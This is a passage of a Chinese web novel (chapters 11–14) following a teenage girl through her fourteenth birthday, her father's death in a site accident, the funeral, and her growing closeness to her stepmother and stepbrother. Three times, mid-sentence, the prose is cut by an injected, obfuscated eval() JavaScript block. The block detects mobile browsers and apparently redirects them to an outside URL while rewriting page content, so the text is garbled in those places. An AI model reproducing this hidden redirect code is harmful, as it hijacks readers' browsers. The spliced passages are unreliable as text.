两个人的烦闷躁动在一间小小的卧室里,终于在某一天爆发出来,因为程煦不小心弄脏了盛凝仅有的一条围巾,不算便宜,她攒了很久的钱才买下的,却被程煦蹭上辣条的油渍。 他们不留余力的打了一架,年纪增长后可不跟以前的小打小闹程度一致,完全可以称作互殴,结束这场战争后盛凝举着胳膊,露出上面鲜红的牙印,和程蔓君反抗:“我要和他分开睡!” 可是分开还能睡哪儿呢?这间房子就一百平米两个卧室,总不能选出一个人天天睡沙发吧。 冷战就这样在同一屋檐下打响,盛凝连个眼神都不给程煦。 十二月有个重要的日子,不是圣诞节,是盛凝的生日,但家里几乎没人过生日,盛凝甚至不太记得盛明康和程蔓君的生日,就算是程煦这种还对生日抱有期待的小孩,也只是买个小蛋糕插上蜡烛许愿了事。 这回也不知道怎么了,盛明康破天荒买了个六寸的蛋糕回来,连寿星盛凝都吓了一跳,不知道是不是他买双色球中奖了。 盛明康仔细数着往蛋糕上插了十四根蜡烛,火焰熊熊燃烧着,程蔓君从饭店打包回来好几道硬菜,从塑料袋挪到盘子来摆上桌。 一家人都围着蛋糕坐下,等着盛凝许愿。 这种感觉太奇妙了,盛凝从来没想到原来一家人整整齐齐地给其中一个家庭成员庆祝生日是这种感觉,她闭着眼睛什么愿望都想不起来,嘴角不自觉地弯起,她不知道怎么形容这种感觉,也不知道这种诡异的愉悦感,叫幸福。 乃至对这个家没产生过任何正面情绪的女孩,鬼使神差地闭上眼睛双手合十,在心里默念着:“希望下个生日,还是这样过好不好。” 11. 生日 盛明康和程蔓君的感情在近几个月得到极大缓和,不知道是谁先服的软,总之他们又开始卿卿我我,在夜晚毫不避讳地发出些动静,躺在隔壁房间逼仄单人床上的程煦忽然想起自己小时候拉着盛凝听墙角以为程蔓君被打了的事情,怨恨没有时光机穿回过去揍自己几拳,最后能做的只是默默祈祷盛凝能给这事忘了。 很可惜盛凝在墙角另一张床上也在许愿程煦忘掉这件事。 盛凝把吃剩的蛋糕放进冰箱后打算回房睡觉,却被客厅看电视的盛明康叫住。 她问盛明康有什么事,男人闻言笑了,“没事就不能找我闺女聊聊天吗?” 这话说得很奇怪,因为盛凝和盛明康之间总是很安静,近十年的生活都这样匆匆而过,怎么就好端端今天想起来聊天了。 盛凝能感觉到,这段时间盛明康开始频繁酗酒,但程蔓君一反常态,非常乖顺。从嫌弃酒臭味到能在餐桌上陪他喝两杯,哄得盛明康沉浸在温柔乡里不愿意出来。 盛明康看起来挺高兴的,眼角都噙着笑意,甚至开口之前还点了根烟。 盛凝坐在旁边立刻就皱了眉头,她十分厌恶烟味,而不巧的是她的父亲长久的吸烟史已经让他的皮肉都浸着一股焦油的味道,她有时也会觉得庆幸爸爸在家的时间并不算多,这样可以少吸点二手烟,因为即使她开口劝阻她爸能不能去楼道或者阳台抽烟,对方也不会听的。 等他长长呼出一口烟雾,才开始跟盛凝说话,叽里咕噜一大堆,几乎是想到哪儿就说那儿,盛凝眼睛盯着面前的十点档狗血剧,剧情是一堆废话,盛明康说的也是一堆废话。 他说他和程蔓君感情仍然很好,他们商量好会尽心维持这个家庭,会好好爱盛凝和程煦。 说的就像之前家暴,酗酒,沉默的男人不是他一样。 盛凝对长久以来她和盛明康的关系说不上爱,也提不起恨,如果非要用一个词形容,大概是怨。 冤魂一般阴森森淡淡的哀怨。 因为不知道如何维持这段父女关系试卷,所以两个人都将沉默作为最省事的答案。传统观念的侵蚀让盛明康自以为循规蹈矩地扮演消失的父亲,可没想过盛凝不曾有过一个和她有血缘的,任劳任怨照顾孩子的母亲。 别的女孩在初潮,发育,青春期充满迷茫和困惑时有同样从这一时期走过的妈妈作为引导者,程蔓君没义务为盛凝做到这些。 但凡盛明康是个称职的父亲,他都不会容忍女儿一人无助地走过这段岁月,可惜盛凝没那么好命有这样一个爸爸。 他如今能大言不惭对这个满目疮痍的家抱有不切实际的幻想,也是因为长久在家庭关系中的缺失,让他没能认清楚这个家的本质。 不论是盛凝还是程煦都早已习惯没有父母的生活,拼命长出一身刺来保护自己,盛凝甚至到现在都没发现程煦能有一个好朋友,他生活里的一切一切,父母,好友,导师等等角色都由盛凝一个人来扮演,现在两个人却要突然横插进来,说他们想让这个家变得更好。 说得也对,因为他们除非虐待孩子,否则不会有比现在更坏的可能性了。 盛凝回想起今晚的水果蛋糕,十四根蜡烛,满桌子饭菜,一种前所未有的无力感席卷全身,她不知道怎么回答盛明康对她剖心掏肺自我感动的承诺,也觉得自己刚刚被虚假幻想冲昏头许下的愿望多么可笑。 爱的对立面有时不一定是恨,也可能是空白,是无奈。 她低头吸吸鼻子,最终也没让眼泪砸在地板上,只是带着鼻音说道:“爸,我今年十五了。” — 房门被轻轻关上,盛凝站定,深深吐出口气。 盛凝和程煦的床放在房间南北两侧,盛凝靠窗,中间放一个床头柜,盛凝床尾是写字台,因为桌子只有一个,他俩写作业说好轮流用,但程煦作业少,蹲在床头柜前蹭着台灯就写完了,此时柜子上的台灯默默亮着,灯下是他写好的数学练习册。 就着昏黄的台灯光源,盛凝看见自己床上躺着一条围巾,藕粉色的马海毛,她摸了一下,软软的,像程煦小时候的脸蛋一样软。 礼物的来源很好猜,总不能真是圣诞老人给的。 “别装了,眼睫毛直颤呢。”盛凝看床上装睡的程煦,长睫蝴蝶一样微微抖动,连带着眼下的阴影跟着变换。 程煦微微一笑,睁开眼睛和盛凝对视:“喜欢吗?” 比起喜不喜欢,盛凝更关心另一个问题:“你哪来的钱?” 一提起他拿手的事,程煦眼睛泛光,“噌”一下坐起来,笑嘻嘻地说:“勇哥每天给我好多好吃的,虽然是临期的,但我卖得也便宜,基本上是小卖部的五折,小零食几口就吃完了生产日期就是个摆设,一开始我在班里卖,后来人传人知道的人多了,现在整个年级的生意都是我的。” 钱串子从小时候就是钱串子,不知道遗传了谁的经商头脑,程煦竟然把整个年级学生的零花钱都变成自己的钱袋子。 “这不违反校规吗?” “校规根本没说过这条,法无禁止即可为不知道吗姐?” 盛凝怎么会知道,那堆辣条棒棒糖什么的程煦应该就是一块五毛的卖,也不知道这五毛五毛的,怎么攒到三位数买了一条漂亮暖和的围巾。 她把围巾放在鼻子下,总觉得带着股淡淡的奶油味,比盛明康带回来的生日蛋糕还香。 盛凝难得露出点温柔底色,从莹润唇瓣间飘出来一句小声的“谢谢”。 “姐你说什么?”程煦笑得狡诈,说话也带着反问的意味。 盛凝羞得脸泛红,五官又皱成一团骂他:“哎呀你好烦,耳朵聋了这都听不见?” “姐你再说一遍再说一遍!” “滚!” “求你了快点!” “程煦!你给我滚回自己的床上!” 盛凝生日那晚是连城的初雪,自此这个冬天下了三场大雪,乃至寒假结束街道上仍然卷着雪粒子,盛凝尽力把大半张脸埋在围巾里,雪花仍然打在额头和睫毛上。 直到二月份开学盛凝才真正有了中考的危机感,甚至平时一起在语文课上侃大山的八卦同桌都开始埋头题海了,环境是可以改变人的,她把言情小说叠在桌面上一摞书的最底下,然后翻出习题册开始自习。 “盛凝,小道消息!”她那梳着高马尾的同桌突然转过头来,辫子在后脑甩出一个弧度,盛凝一听乐了,刚才别扭的紧张感顿时消失得无影无踪,配合问道:“什么呀?” “一模提前了,就下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481771|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月!” 靠!盛凝嘴角抽搐两下,瞬间从地狱升到天堂再掉进最深处炼狱的感觉如鲠在喉,她张张嘴也没说出几个字来,只觉得喉咙间卡了根鱼刺,疼得她只冒冷汗。 连城初三一共两次统一摸底考试,一般一次在四月一次在五月,六月中考,今年应该是教材换了的缘故,竟然直接提前到三月。 程煦开学第一天发现他姐和变了一个人一样,她竟然开始,认真学习! 一个平时连作业都得过且过的人,放学回来手上却抱着好几本中考复习题。 “姐你竟然金盆洗手了。” 盛凝朝他比个指头,“你会用成语吗?这叫痛改前非。” 如果在高中说“两个月三百分逆袭清北”这种浓烈鸡汤,那在校园表白墙上会被骂两百层楼。 但初中不一样,初中知识简单,那就意味着无限可能。 盛凝完全能在一个月完成从下等生到中等生的蜕变,她发现很多题都是有套路的,只是太需要时间的累积。 于是十二点睡五点起,她最多每天只保持五个小时睡眠,疯了一样赶上同学们复习的进度,直到一模的前一天,她回家走路时觉得脚步都是飘的,好像踩在棉花上。 程煦有点不敢看盛凝脸上垂到嘴角的乌青,脑子里不断响起晚上七点钟播放的各种猝死、过劳死社会新闻,他好怕他姐也死了,但是他又不敢说,说了他会先被姐姐打死。 闹钟显示凌晨一点钟时,程煦眯着眼睛问盛凝:“你怎么还不睡觉?” 盛凝趴在写字桌上,程煦只能看见她一头垂肩长发,头也不回说:“不用管我,睡你的。” 盛凝显然已经学到走火入魔,临阵磨枪万一真的又快又光呢? 但程煦没想到第二天醒来的时候,盛凝还在桌子前坐着。 她熬了一整个通宵。 “姐,你这样真的不会晕吗?” 盛凝揉着太阳穴摆手,“我但凡有一点办法都不能这么熬。” 但没办法,她一点招也没有,落下的实在有些多。 进考场之前,同桌牵着盛凝冰凉的双手,“盛凝,深呼吸,吸气……呼气……” 盛凝跟着指令机械地呼吸,仍无法抑制砰砰要撞出胸腔的心脏,那是彻夜未眠的副作用。 握着写字笔的手不受控制地抖,紧张,还是紧张,她抬眼看刚刚过九点的钟表,监考老师作出可以答卷的指示,盛凝来不及犹豫,立刻投入题目中去。 一开始还算顺利,写到古诗词填空时,不知道怎么回事笔尖竟然断了,黑墨顺着缺口流出来,一下子就脏污了洁白的答题卡。 盛凝皱眉暗骂一句,举手示意,“老师,我答题卡脏了。” 模考的意义就在这,监考老师又开始一边拿备用答题卡一边教训道:“说了多少遍进考场之前检查文具,这要是中考怎么办?中考哪里有多余的答题卡给你们用!” 试卷大小的答题卡被拍在桌子上,带起一阵风吹动盛凝额前的碎发,以此同时,她在门口看见自己的班主任匆匆跑来,不知道为什么,她就觉得,对方应该是来找她的。 盛凝被班主任拉出教室。 “老师我还没答…” “你爸出事了!” 12. 葬礼 盛凝,坚定的唯物主义战士,有时却不得不相信,这层看不见的奇怪血缘间,原来真的有一种名为“心灵感应”的东西存在。 这种“心灵感应”在她和程煦之间也会出现,盛凝做噩梦的时候会被程煦在半夜叫醒。 “姐我好像梦到你做噩梦了,没想到居然是真的!” 这种现象被盛凝称为日久天长的“默契”。 和程煦不一样,盛明康和她完全不在一条生活轨迹上,于是心灵感应变成珍贵的宝物,只在生死大事之间徘徊。 盛明康高空作业没系好安全带,掉下去的时候顺带被砖块砸中,砸的还是脑袋。 有时候老天叫一个人不许活,就能想各种办法让他死,别人眼里是“怎么就这么巧砖块一起掉下去了呢?”,在阎王眼里就是三更死不会留到五更活。 班主任给盛凝叫了车,师傅一脚油门踩下去,一路信号灯哪怕是红的也得当绿的用。 “孩子等着见爹最后一面呢。”司机看起来比盛凝着急,满头大汗地跟交警解释,人道主义光辉宛如天使般笼罩在驾驶舱后座那个穿着校服,十分单薄的女孩身上。 交警顺着敞开的车窗往里瞅了瞅,盛凝感觉到一股灼热的视线。 她是不是有些怪,按照常理,她现在应该满脸泪水,着急地和司机一起跟交警求情,但是无论如何,她都做不到。 她只能像僵化的石像在后座一动不动,任由交警关切的目光扫过她的全身,当然,只有当事人盛凝会察觉到自己的怪异,外人看来只会觉得这小姑娘吓傻了,估计话都说不利索。 坐在手术室门口时,冰凉的椅背碰触到嶙峋脊骨,可她的手比座椅还要凉。 盛凝明明是个爱心泛滥,看到有人被欺负会见义勇为,看到流浪猫狗会分一半烤肠的人,为什么到了自己身上,对象变成的她的爸爸,她却一丝伤感都不存在。 医院里众生芸芸,这里祈祷的信徒比寺庙还要多,能看见为新生的雀跃的父母,也有为垂危家人落泪的亲属,一切都是五彩缤纷的,只剩下盛凝是灰白色。 她很少哭,也许是小时候程煦惊天动地的声音给了她阴影,所以她慢慢变成了一个不轻易掉泪的人。 但情绪总要有出口的,以液体的方式宣泄出来,不是眼泪,那就是鲜血了。 察觉到下唇的刺痛,她用手腕蹭了一下嘴唇,再垂下皓腕时,就多了这么点红色。 从洗手间出来时,盛凝的嘴唇没了鲜血染红,只剩下一个咬破的伤口,苍白又突兀。程蔓君在手术室前哭得泣不成声,盛凝第一次见她姣好的妆容哭得那么狼狈,粉棕色的眼影花到颧骨,更别提已经完全掉了的眼线和睫毛膏。 这一切都情有可原,毕竟在几个月前盛凝的生日,他们还恩爱无比,准备好好生活一辈子,现在丈夫生死未卜,或者说几乎没有生还希望地进了手术室,程蔓君理应伤心地痛哭一场。 程煦是跟着程蔓君一起来的,小学部给初中部腾一模考场,今天放假在家,如果只有盛凝在,程煦也许只是抽泣或者根本不哭,但程蔓君在他身边哭得梨花带雨,程煦也忍不住呜呜掉泪,盛凝都不知道程煦有什么好哭的,盛明康给过他好脸色吗,他们俩除了名义上的父子,一点关系都没有。 但她不能说啊,都瞒到盛明康快死了,那就等到盛凝死,把秘密带进棺材。 程煦哭着往盛凝怀里钻,盛凝想拒绝,她现在心里堵得慌,想一个人待着,但程煦现在比起小狗更像条泥鳅,拼命地挤进来,把脑袋埋在盛凝脖颈里。 后来,盛凝已经忘了见到父亲遗体的最后一面是什么样子,人脑保护机制会让她遗忘掉大部分难捱的回忆,忘掉盛明康被砸的面目全非的样子。于是盛明康连同盛凝三岁就再也没见过的妈妈,一起尘封在模糊的记忆里,她连他们的照片都没留,任由自己一点一点忘记他们,忘记所有人。 但她永远忘不掉的,有且只有程煦。 4岁上幼儿园的程煦,7岁入学考满分的程煦,9岁在葬礼上眼圈红红的程煦。 盛凝连哭的时间都没有,她忙着跟吊唁的宾客问好鞠躬,几乎都没见过,大人们三三五五地来,一般就会装出一副担忧的姿态来。 “孩子,以后辛苦了。” “哎,真可怜,爸没了,妈又不是亲的,还带着个小拖油瓶。” 这些声音飘进耳朵,让盛凝皱了眉,她是挺惨,惨是因为没爹没妈,她爹甚至这么多年在工地累死累活没攒下几个钱,工地还美其名曰是他自己没系安全带,草草赔了几万块钱了事。 和程煦有什么关系? 如果要打官司,最后要是输了,那这几万块钱都得当诉讼费,她敢赌吗? 一切的痛苦,委屈,都是因为没钱,小时候老人总说钱不是万能的,长大了才发现,钱太有用了,因为穷真的会杀死人,杀死住不起ICU的病人,杀死旱灾涝灾的农民,杀死山穷水尽的孤儿。 怎么办,怎么办? 以后盛凝该怎么活?一切都成了渺茫的未知。 灵堂角落有盛凝沉重的书包,她却再也不能知道这次一模自己本该考多少名,够不够得上普高分数线,而现在,她甚至不能确定,还要不要上高中。 盛凝不是个好学习的女孩,没人规定十五六岁的女孩应该喜欢什么擅长什么,老师会说:“你们这些小姑娘家家的,不好好学习以后还能干什么?” 她不明白为什么不学习前面一定要加上“小姑娘”这样的前缀,学习也分性别吗?可是学校模考物理的化学的满分都来自“不擅长理科”的女孩,走廊里贴的优秀作文也有出自“神经大条”男生手笔的。 她读书万卷的言情小说喜欢以“乖乖女x混小子”为噱头,给女孩们赋予一个个乖巧、纯洁、优秀的形象,于是不喜欢,不擅长学习在初中生里变成一种不入流,进而发展成错误。 如果不上学,盛凝不知道自己要干什么。打工?没有几个老板愿意雇佣刚满16乳臭未干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481772|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的丫头片子,要是干活时出了什么差错受伤,那点利润都不够赔钱的。她有些惋惜自己晚生了两年,要是她现在18,能干的事绝对比现在多得多。 蹲在墙角考虑一通,盛凝还是想读书,她要回学校考二模,要上高中,公立高中是有政府扶持的,学费只是象征性地收,跟义务教育唯一的差别就是中考要筛掉一半人。 学费好说,可人喘气就得花钱,生活费从哪来,盛明康用命换的几万块钱能撑多久,水电煤气,只要这个家存在,就没有不花钱的地方。 盛凝望着艳阳天愁以后的生计,不远处出现三个影子移动到视线里。 她看着几个人,觉得有些眼熟,熬夜熬多了反应力也会变慢,等认出来人是谁,其中一个女人都已经走到盛凝面前了。 “你瞧瞧这事,哎呦好不容易接走了,人倒是没了!” 二婶熟悉的声音飘进耳朵里,盛凝在听到这个声音的一瞬间,觉得鼻尖萦绕着一股腐烂的荔枝味,腥甜刺鼻,让中午没吃饭的她作呕,当着人家的面吐出来实在不礼貌,她只能恹恹压下这股吐意。 二叔一家是第一次见程蔓君,葬礼上她的妆容恢复了之前的完美无瑕,看起来得体又柔美,在灰压压的灵堂里熠熠生辉。 很明显二婶今天不想来,她怕盛明康一走,盛凝又落到她手里,养个六七岁的小孩跟十六七岁的姑娘可不一样,更何况他们家还有个正值发育期的儿子,半大小子吃死老子,不论如何她都做不了这个好人。 所以她要来探探程蔓君的口风,最好给她洗脑,让这个没亲没故的后妈养着盛凝。 作为村子里吵架数一数二的泼辣女人,二婶气势汹汹地捋好自己的舌头,结果蓄的力气全泄在程蔓君的一个微笑里。 女人的眼尾上挑,带着粉红色的眼影,像千年狐狸精,像苏妲己。 “我会养盛凝到她成人的。” 程蔓君对盛凝有着血缘的亲人做出这样的承诺。 主人公在角落眯起眼睛看她,有一种恍若惊人的错位感。 盛凝那么多的思绪和烦恼,可从头到尾,她都没把程蔓君还有程煦放进来。 现在她完全没想过的人说要养她。 这无异于天降甘霖,把已经快要蔫死的盛凝给浇活了,毕竟她也不想再回到二叔二婶家,因为她现在已经完全无法抗衡,那个吃成猪的表弟了。 “你吃什么呢?”男孩突然蹲在程煦面前,吓了他一跳。 程煦中午也没怎么吃饭,光顾着哭了,此刻才后知后觉饿了,从书包拿出面包啃两口,眼前突然出现一头庞然大物,跟城墙一样堵在他面前,卡在喉咙的面包团差点噎死他。 城墙有些恼了,又靠近程煦几分,“你哑巴吗?问你吃的什么。” 吃吃吃天天就知道吃,都快吃成巨人观了还惦记程煦手里那点吃的呢。 程煦看见盛凝居高临下,两条细长的腿卡在他和男孩之间。 “离我弟远点!” 13. 妈妈 小胖子瞧着盛凝义正言辞给程煦出风头的模样,杵着膝盖站了起来,不怀好意地从鼻子里哼出一声气。 他伸出胖胖短短的手指,轻轻推了一下盛凝肩膀,这只是他自己以为的轻轻,放在疲惫瘦弱的盛凝身上,还是没止住一个趔趄。 “你要不要想想,我和这小子之间,到底谁是你弟弟?” 程煦听起来这话莫名其妙,他没见过盛凝的表弟,也不知道盛凝在六岁以前的一切,心里画了好几个问号,但看见他姐被别人碰,他是绝对不允许的。 程煦冲小胖子大喊:“你别碰我姐!” 小胖听见后哈哈大笑,过度肥胖的人一般心肺功能不太好,他笑着笑着就开始咳嗽,直到脸闷红了才缓过来。 “你俩演什么姐弟情深呢,你跟盛凝……” 小胖只比盛凝小两岁,她家这点风流韵事算是在村子里传遍了,所以表弟不仅知道程蔓君长得和盛凝亲妈特别像,还知道他大伯盛明康给人接盘养儿子,窝囊死了。 眼看就要坏事,盛凝直接冲上前推了表弟一把,小胖猝不及防,直接就坐在了地上。 屁股上这么多肉,摔摔不碍事,盛凝面不改色走到他跟前,抱着胳膊,脚跟踩在小胖大腿之间。 这个动作一下让他回想起小时候被踹到要害的剧痛,谁说视觉不会传递痛苦的! 二婶和程蔓君寒暄够了,才注意到宝贝儿子坐在地上,赶忙跑过去扶起来,“你怎么搞得!” 嘴上嗔怪儿子,实际上眼白都快把盛凝程煦划开到口子了,明里暗里指桑骂槐,“哎这没妈的孩子就是不行,”她给小胖拍掉身上的脏土,教育道:“你看看你没妈天天挨人欺负!” 盛凝差点笑出来,他那体格子,就算再来十个盛凝五个程煦都能被一屁股压死,谁能欺负他啊。 亲近的人才知道怎么捅你刀子,骂跛脚不会走路,骂孤儿没有妈疼。 程蔓君跟着过来牵住程煦,盛凝奇怪的好胜心在二叔二婶面前终于爆发,齿关快要磨破下唇,在手术室门口咬出的伤口一遍又一遍像砂纸一样磨过盛凝柔软的心脏。 她无比虔诚地看着程蔓君,说:“妈,我饿了,什么时候吃饭?” 盛凝尽量把这个问句变成日常生活里普通到不能再普通的对话,其实只要仔细听,就能发现她的声音是抖的,不算明显,所以只有程煦发现了。 她突然特别想哭,因为说完就后悔了,她想起来以前在手机上看到的有流浪小狗会故意蹲在路人脚边,假装自己有主人。 现在和流浪狗有什么区别,她也在外人面前假装有妈。 程煦抬头看看他姐,又看看他妈,现场故意唯一高兴的就是他,那可是盛凝第一次叫程蔓君妈。 程蔓君只是愣了一下,非常快就适应了这个称呼,扬起一个毫无威胁的笑容,“哎,马上,马上就吃。” 夜里躺在床上,程煦难得再一次得到允许,又和盛凝一起睡觉,这回她明显感觉被子不够用了。 平躺着问程煦;"你多少斤了?" “不到一百。” “不到一百是多少?” “九十九。” 盛凝语塞,“你怎么长这么快,年前还跟鸡崽子一样瘦呢。” 程煦借着窗帘透出的路灯灯光打量她,缓缓道出真相:“姐,其实你才瘦得跟鸡崽子一样。” 盛凝比程煦还轻三斤呢。 人在压力太大的时候,要么过劳肥要么过劳瘦,盛凝属于后者,她记得去年还有一百来斤,现在经过复习,还有盛明康的事,这么一折腾她的体重算是彻底回归两位数了。 程煦从被窝里掐住盛凝的手腕,腕骨突出的一块硌的他手心疼。 感觉轻轻一捏就会断掉。 他有些皱眉,但在黑夜里什么都看不见,“姐你太瘦了,多吃点。” 盛凝叹口气,“吃不下。” 她最近说话都没有平时那股气了,以前说话尾调总是上扬的,像刚晒完太阳的猫,懒洋洋的,现在蔫巴的像缺水的雏菊,说话又淡又轻,带着一团雾似的,让人听不出情绪。 “姐。”程煦眨巴一下眼睛,“你难过吗?” 盛凝想回答不难过,但很明显她状态不对,这件事绝对很大程度地影响了她,睡前写卷子,她已经发现很多练过的题目不会写了。 她一撇嘴,“也不是吧,就是心里堵得慌。” 程煦想说,其实这就是难受啊姐姐,他又接着试探:“姐,人难受要是不哭,会憋坏的,你看我哭得多惨。” 想到那张满脸是鼻涕和泪水的脸,五官都皱成一团,盛凝苦笑一下,“你跟他很亲吗?哭这么伤心。” 你俩明明一点关系都没有。 盛凝的笑容僵了一下,说起这个,那这世界上和盛明康最亲最亲的,就是他的女儿盛凝了。 可盛凝都没能在葬礼上掉一滴泪,好好为他送个行。 愧疚感冲破心中那股潮湿烦闷的迷雾汹涌地冲过来,窜到嗓子眼,窜到鼻腔还有泪腺。 盛凝干脆闭上眼睛,把该逃出来的咸涩液体全部锁在眼眶。 程煦抱着她的胳膊,头也埋进肩膀和枕头间的空隙,“姐,我想永远和你在一起。” 越年轻的人说出永远越随意,他们根本不会知道一眼望不到头的人生还有多少痛苦和挣扎在等着发作,盛凝也才十五岁,她却不敢说什么是一辈子,什么是永远。 连城的山不多,就算有也是黄秃秃的荒山,从北方吹来的风沙在春秋季节会毫不吝啬地眷顾连城,天总是黄的,暗的,看不见云彩,也看不见未来。 盛凝讨厌一开窗就满屋盖上一层尘土的气候,她不喜欢连城,也不想留在这里。 她向往四季如春的南方,想看看繁荣不易的海港,想尝尝当地最甜最新鲜的荔枝。 在不久的将来,盛凝一定会生活在这样的地方,不会是没有空调的棚户区,也没有黄沙每天需要擦去。 所以,她没办法和程煦永远在一起啊。 身边的程煦没等到回答就睡着了,发出小小的呼噜声,不是惊天动地地打鼾,类似于小猫小狗,睡在自己窝里时发出的呼噜呼噜声音。 流浪猫蹭盛凝手心时也会有这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481773|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音。 和程煦在一起,她变得心安,然后又想起他妈妈,程蔓君。 现在是不是也可以说是自己妈妈? 她往程煦那边挤了挤,停暖气的初春,三四月份非常难熬,屋里比室外冷,平时遮风挡雨的房子现在也遮住太阳,阻止大部分阳光射进来,阴冷阴冷的。 盛凝像这间房子,看起来处变不惊坚固无比,实际上心里早就腐烂掉了,她的心是空的,程蔓君或者程煦还能填满它吗? 缺少爱是盛凝目前难以自救的困境。 很少哭泣,过度同理心,在自己身上和别人身上两种极端的态度会将盛凝包裹在一层保护壳里面。 但保护壳并非铁盾,是糖衣般透明的脆壳,不堪一击,盛凝只能拼命东敲西补,直到某一天这个壳彻底碎掉,盛凝就会变成一个不折不扣的疯子。 第二天开始,盛凝做出一个伟大的决定。 她要叫程蔓君妈妈,和程煦一样。 自欺欺人一遍又一遍给自己洗脑,她和其他孩子是一样的,和程煦也是一样的,没有差别。 根植在潜意识的毒暂时被压抑下去,程蔓君听起来也显得挺高兴,甚至医院里葬礼上本该哭干的泪又涌了出来,她把盛凝程煦搂在怀里,承诺说:“以后我们三个人,也要好好生活。” 不同于上次程蔓君感谢盛凝拦下盛明康的巴掌,然后拥抱她。 盛凝这次也伸上手抱住程蔓君单薄的脊背,摸了摸她柔软光泽的发丝,将身边这个女人的脸,和三岁时候跟自己再见的那张脸,重叠起来。 妈妈。 她在舌尖一遍又一遍反刍这个很久没有喊过的称呼,靠在程蔓君肩膀上,轻轻闭了眼睛。 和妈妈说了再见,盛凝和程煦去上学。 陈勇好几天没见盛凝了,屁颠屁颠跟上来,盛凝问他这几天学校有没有风言风语说她。 按照学校这个消息传播速度,估计已经编排出来盛凝没爹没妈的凄惨人生了,虽然她本来就这么惨。 陈勇摇摇头,“放以前可能有,最近大家忙着二模呢。” 一听见二模,盛凝翻了下眼皮,呼吸系统暂时屏蔽一切,好像要窒息而死。 她问:“你一模考得怎么样?” 对方不假思索:“四百八。” “四百八十分?” “四百八十名。” 盛凝:? 初中部一共五百个学生。 她不可置信,半睁的眼睛顿时瞪大了,“你原来学习这么差??” 陈勇更是无语,“姐,咱俩在一个班三年了,你从来没注意过班里期中期末考完试贴在板报上的成绩表吗?” “我每回让我同桌看完告诉我考了多少分就行了,谁能知道你长得一副好好学生样子,居然成绩这么差!” 是可忍孰不可忍,陈勇也有点急了,“什么叫好好学生样子,你是不是说我长得丑?” 旁边程煦跟人机一样,一听见“姐”就自动启用程序,也不管对方是不是助他发财的勇哥了,伸手指他,“说了多少遍不许叫她姐,这是我姐!” 14. 二模 来不及蹉跎,盛凝一回到教室,发现根本没人把目光放在她身上。 除了确定毫无希望考上高中的几个闲杂人等在教室后面看漫画和《龙族》以外,几乎所有人都在埋头写题。 盛凝大气都不敢喘,得到老师示意后猫着腰溜到了自己的座位上。 同桌从题海里抬头和她交换个眼神,又瞟到盛凝的书桌上。 本来就是中考复习的关键时期,缺一天课回来卷子就能成摞,更别说盛凝一下请了一个礼拜的假。 “这都是我的?”她捧着厚厚一打卷子,语数外物化什么科目的都有,叠在一起鼓鼓囊囊,盛凝稍微一泄力,白色纸张就会像大扑棱蛾子一样扑簌簌飞到地上。 坐在旁边的小女孩看着她欲哭无泪的表情显然有点幸灾乐祸,“嘿嘿,慢慢写吧你。” “哎……”盛凝长长叹气,“这得写多少才能成角儿啊官人?” 同桌偷瞄讲台上的值班老师正在打瞌睡,忍不住陪盛凝演小剧场摸鱼,“娘子,只要你一直写一直写,我保你是咱学校最出名的虞姬!” 她顺手掐了一把盛凝的脸蛋,年轻就是好,天天熬夜烦心,皮肤还是跟刚剥壳的荔枝一样嫩,“娘子长得如花似玉,光靠咱这张脸也能挣不少名气呀。” 盛凝拍掉她揩油的手,说:“网上都说了美貌单出是死局,奴家卖艺不卖身啊。” “再说了,我的名气难道不是因为当大便超人来的吗?” “噗……哈哈哈哈!” “盛凝,张妍,你俩给我站后面去!” 中午放饭,初中生饿死鬼一样扑向食堂,得跑着去才能抢到肉菜,盛凝气喘吁吁地端着两盘饭回到座位。 张妍看着一盘纯肉一盘纯素,“你要干嘛?一念成佛一念成魔?” 盛凝摇摇头,“最近不想吃肉,给我弟打的,长身体呢。” “就他长身体,你停止发育了?”对方把盘子里的红烧肉夹给她两块,“你知不知道自己瘦了多少,要成干尸了。” 盛凝摆摆手,“知道啦知道啦,你比我还小呢怎么跟我妈……” “你说什么?”食堂里嘈杂,张妍没听清她说了什么。 她无措地摸摸裤腿,滑溜溜的校服在手心快擦出火星子。 “没什么。” 程煦来的时间抱着个篮球,脸比猴屁股还红。 “你又偷偷打球去了?” “体育课。” 体育课是唯一合法打球的时间,篮球难免有擦碰,要是在课间或者翘了自习去打球会被班主任狠狠惩罚,需要请家长写检讨。 有一回程煦班主任进办公室看看自己桌子旁边坐了个穿初中部校服的小姑娘,长得白白净净大眼睛。 “同学,找我有事吗?” 那小姑娘眨眨自己棕色的瞳仁,“老师好,程煦说您请要请家长,我是他姐姐。” 班主任:…… 